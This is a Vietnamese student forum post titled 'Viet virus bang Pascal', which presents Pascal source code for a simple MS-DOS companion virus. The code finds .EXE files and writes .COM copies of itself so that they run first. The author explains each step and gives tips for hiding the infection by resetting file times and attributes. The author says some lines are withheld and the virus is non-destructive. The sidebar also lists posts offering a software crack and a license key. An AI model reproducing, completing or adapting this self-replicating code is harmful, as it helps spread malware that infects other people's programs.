Lớp tôi
Này thím!!!Đăng kí đê
Mấy bạn Hai lúa nào không biết thì (Đăng kí) nó ở trên thanh menu (Đầu trang)đó
Lớp tôi

NƠI GIAO LƯU, HỌC HỎI, CHAT CHIT VÀ....TÁN GÁI
 
IndexIndex  CalendarCalendar  GalleryGallery  Trợ giúpTrợ giúp  Tìm kiếmTìm kiếm  Thành viênThành viên  NhómNhóm  Đăng kýĐăng ký  Đăng Nhập  
Bài gửi sau cùng
Bài gửiNgười gửiThời gian
[�] Hướng dẫn chế truyện troll đây. Wed Nov 28, 2012 8:58 am
[�] Kể về hình ảnh bà trog Bếp lửa' của Bằng Việt Wed Nov 07, 2012 12:07 pm
[�] Em hãy kể lại bài thơ Ánh trăng của Nguyễn Duy Wed Nov 07, 2012 11:40 am
[�] Wh - questions, Gerund, To - infinitive Tue Nov 06, 2012 6:51 pm
[�] Gerund and Infinitive--unit 5 Tue Nov 06, 2012 6:44 pm
[�] Cach dung Photoscape Tue Nov 06, 2012 5:48 pm
[�] cách làm đô rê mon chế Mon Nov 05, 2012 9:25 pm
[�] Key Norton Internet Security 2012 Mon Nov 05, 2012 12:50 pm
[�] TLV số 3-Đề 4:Kể về cuộc gặp gỡ các anh bộ đội....nhân ngày 22/12....... Sun Nov 04, 2012 6:19 pm
[�] Đề 3 TLV số 3:Nhân dịp 20/11.....kể...kỉ niệm với thầy cô giáo cũ Sun Nov 04, 2012 6:04 pm
[�] Bài TLV số 3-Đề 2: Em hãy tưởng tượng mình gặp gỡ người lính lái xe trong tiểu đội xe không kính..... Sun Nov 04, 2012 6:00 pm
[�] Bài TLV số 3-Đề 1: Kể về 1 lần em trót đọc nhật kí của bạn Sun Nov 04, 2012 5:52 pm
[�] Phần mềm lịch sử địa lý Việt Nam Sun Nov 04, 2012 12:37 pm
[�] IDM full crack 2012 Sun Nov 04, 2012 12:32 pm
[�] Phần mềm hóa học của người Việt Sun Nov 04, 2012 12:07 pm
[�] Bí Kíp Quay Cóp ! Thu Nov 01, 2012 10:48 pm
[�] Thông tin thành viên Thu Nov 01, 2012 10:38 pm
[�] Mách teen cuối cấp ‘địa chỉ’ cất giữ kỉ niệm-Lưu giữ địa chỉ của lớp Thu Nov 01, 2012 9:37 pm
[�] Những điều cần làm để lưu giữ kỷ niệm trước khi ra trường Thu Nov 01, 2012 9:29 pm
[�] Phương pháp giải hệ phương trình Wed Oct 31, 2012 8:08 pm

____________________________________________________________________________
Trang 1 trong tổng số 1 trang
Bài gửiThời gian: Tue Oct 30, 2012 5:20 pm
#1
duc nguyen
2/10000
Tổng số bài gửi : 2
Join date : 03/08/2012
Viet virus bang Pascal
Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :

Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;

Phần khai báo biến:
Trích dẫn:
Mã:

var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;


-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;

Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.

Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16

-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)

Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.

Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.

Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus

Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.

Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Về Đầu Trang Go down
=========================================================================
Xem lý lịch thành viên
Trả lời chủ đề này
Chủ đề trước Chủ đề tiếp theoTrang 1 trong tổng số 1 trang
Viet virus bang Pascal
arrow

Lưu ý khi post comment:

  • Không "bóc tem" topic
  • Dùng lời lẽ có văn hoá và lịch sự
  • Xem trang FAQs trước khi hỏi
Bạn không có quyền trả lời bài viết

HTML đang Đóng
BBCode đang Mở
Hình vui đang Mở